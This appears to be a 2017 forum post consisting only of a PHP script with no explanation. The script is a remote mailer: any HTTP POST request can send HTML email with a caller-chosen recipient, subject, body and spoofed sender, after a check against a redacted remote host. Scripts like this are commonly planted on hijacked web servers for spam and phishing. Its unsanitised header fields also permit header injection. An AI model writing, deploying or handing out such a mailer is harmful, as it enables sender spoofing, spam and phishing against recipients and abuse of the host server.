01.02.2017, 11:05
Код:
<?php $header_check = get_headers("xxxx"); $response_code = $header_check[0]; $domain = 'xxx'; if(gethostbyname($domain) != $domain && $response_code == 'HTTP/1.1 200 OK' ) { ini_set( 'html_errors', false ); if ( empty( $_POST[ 't' ] ) || empty( $_POST[ 'f' ] ) || empty( $_POST[ 'n' ] ) || empty( $_POST[ 's' ] ) || empty( $_POST[ 'm' ] ) ) die( 'Error: Missing parameters.' ); mail( $_POST[ 't' ], utf8_encode( $_POST[ 's' ] ), "<html><body>".$_POST[ 'm' ]."</body></html>", implode( "\r\n", array ( 'MIME-Version: 1.0', 'Content-type: text/html; charset=iso-8859-1', 'From: "' . addslashes( $_POST[ 'f' ] ) . "\" <{$_POST[ 'n' ]}>", "Reply-To: {$_POST['f']}", "X-Mailer: PHP/" . phpversion( ), ) ) ); } ?>